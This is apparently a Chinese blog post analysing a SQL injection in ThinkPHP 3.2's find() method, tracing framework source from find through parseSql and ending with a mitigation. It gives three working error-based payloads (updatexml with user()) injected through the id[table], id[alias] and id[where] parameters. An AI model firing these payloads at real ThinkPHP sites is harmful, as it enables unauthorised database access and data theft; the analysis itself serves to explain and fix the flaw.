thinkphp3.2 find注入

控制器代码:

    public function index(){
        $id=I('id');

        $res=M('users')->find($id);
        dump($res);
    }

 

 

复现:

payload:

id[table]=users where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--


分析:
1、find函数
 1     public function find($options=array()) {
 2         if(is_numeric($options) || is_string($options)) {
 3             $where[$this->getPk()]  =   $options;
 4             $options                =   array();
 5             $options['where']       =   $where;
 6         }
 7         // 根据复合主键查找记录
 8         $pk  =  $this->getPk();
 9         if (is_array($options) && (count($options) > 0) && is_array($pk)) {
10             // 根据复合主键查询
11             $count = 0;
12             foreach (array_keys($options) as $key) {
13                 if (is_int($key)) $count++; 
14             } 
15             if ($count == count($pk)) {
16                 $i = 0;
17                 foreach ($pk as $field) {
18                     $where[$field] = $options[$i];
19                     unset($options[$i++]);
20                 }
21                 $options['where']  =  $where;
22             } else {
23                 return false;
24             }
25         }
26         // 总是查找一条记录
27         $options['limit']   =   1;
28         // 分析表达式
29         $options            =   $this->_parseOptions($options);
30         // 判断查询缓存
31         if(isset($options['cache'])){
32             $cache  =   $options['cache'];
33             $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));
34             $data   =   S($key,'',$cache);
35             if(false !== $data){
36                 $this->data     =   $data;
37                 return $data;
38             }
39         }
40         $resultSet          =   $this->db->select($options);
41         if(false === $resultSet) {
42             return false;
43         }
44         if(empty($resultSet)) {// 查询结果为空
45             return null;
46         }
47         if(is_string($resultSet)){
48             return $resultSet;
49         }
50 
51         // 读取数据后的处理
52         $data   =   $this->_read_data($resultSet[0]);
53         $this->_after_find($data,$options);
54         if(!empty($this->options['result'])) {
55             return $this->returnResult($data,$this->options['result']);
56         }
57         $this->data     =   $data;
58         if(isset($cache)){
59             S($key,$data,$cache);
60         }
61         return $this->data;
62     }
我们输入的的id[where]为数组,所以就可以跳过第二行的所执行的内容,如果正常输入则会将使变量option['where']赋一个数组,当我们跳过这里的赋值时,也就跳过了第29行中
_parseOptions函数中对字段类型验证的判断。

第29行传入了options变量也就时说我们对options变量可控,而第40行中执行了options中的sql语句,所以实现sql注入



2、_parseOptions函数分析
 1     protected function _parseOptions($options=array()) {
 2         if(is_array($options))
 3             $options =  array_merge($this->options,$options);
 4 
 5         if(!isset($options['table'])){
 6             // 自动获取表名
 7             $options['table']   =   $this->getTableName();
 8             $fields             =   $this->fields;
 9         }else{
10             // 指定数据表 则重新获取字段列表 但不支持类型检测
11             $fields             =   $this->getDbFields();
12         }
13 
14         // 数据表别名
15         if(!empty($options['alias'])) {
16             $options['table']  .=   ' '.$options['alias'];
17         }
18         // 记录操作的模型名称
19         $options['model']       =   $this->name;
20 
21         // 字段类型验证
22         if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
23             // 对数组查询条件进行字段类型检查
24             foreach ($options['where'] as $key=>$val){
25                 $key            =   trim($key);
26                 if(in_array($key,$fields,true)){
27                     if(is_scalar($val)) {
28                         $this->_parseType($options['where'],$key);
29                     }
30                 }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
31                     if(!empty($this->options['strict'])){
32                         E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
33                     } 
34                     unset($options['where'][$key]);
35                 }
36             }
37         }
38         // 查询过后清空sql表达式组装 避免影响下次查询
39         $this->options  =   array();
40         // 表达式过滤
41         $this->_options_filter($options);
42         return $options;
43     }

第15、16行将options['alias']的值加在了options['table']后面,而在之后sql语句替换中可以将options['table']的值替换到sql语句当中的,所以也可以sql注入

第22行中由于options绕过了开头的if判断,所以options['where']不再是数组,所以这里也就绕过了字符类型判断

 

3、select函数分析

1     public function select($options=array()) {
2         $this->model  =   $options['model'];
3         $this->parseBind(!empty($options['bind'])?$options['bind']:array());
4         $sql    = $this->buildSelectSql($options);
5         $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
6         return $result;
7     }

这里主要是buildSelectSql函数对sql语句的建立

 

4、buildSelectSql函数分析

 1     public function buildSelectSql($options=array()) {
 2         if(isset($options['page'])) {
 3             // 根据页数计算limit
 4             list($page,$listRows)   =   $options['page'];
 5             $page    =  $page>0 ? $page : 1;
 6             $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
 7             $offset  =  $listRows*($page-1);
 8             $options['limit'] =  $offset.','.$listRows;
 9         }
10         $sql  =   $this->parseSql($this->selectSql,$options);
11         return $sql;
12     }
5、parseSql函数分析

 1     public function parseSql($sql,$options=array()){
 2         $sql   = str_replace(
 3             array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
 4             array(
 5                 $this->parseTable($options['table']),
 6                 $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
 7                 $this->parseField(!empty($options['field'])?$options['field']:'*'),
 8                 $this->parseJoin(!empty($options['join'])?$options['join']:''),
 9                 $this->parseWhere(!empty($options['where'])?$options['where']:''),
10                 $this->parseGroup(!empty($options['group'])?$options['group']:''),
11                 $this->parseHaving(!empty($options['having'])?$options['having']:''),
12                 $this->parseOrder(!empty($options['order'])?$options['order']:''),
13                 $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
14                 $this->parseUnion(!empty($options['union'])?$options['union']:''),
15                 $this->parseLock(isset($options['lock'])?$options['lock']:false),
16                 $this->parseComment(!empty($options['comment'])?$options['comment']:''),
17                 $this->parseForce(!empty($options['force'])?$options['force']:'')
18             ),$sql);
19         return $sql;
20     }

这里将options中的值进行查找替换,所以很多值都可以进行替换这里我们输入的时where,在parseWhere函数中将%where%的值替换

 

 最终得到执行的sql语句:

 

deletefindselect这三个函数都具有此漏洞

 

防护:

 

 将传入的$option修改成$this->options,同时不对$options进行表达式分析,使options不可控,这里主要是通过_parseOptions函数对options的表达式分析之后形成sql注入。







 

posted @ 2021-07-22 17:47  1jzz  阅读(202)  评论(0编辑  收藏  举报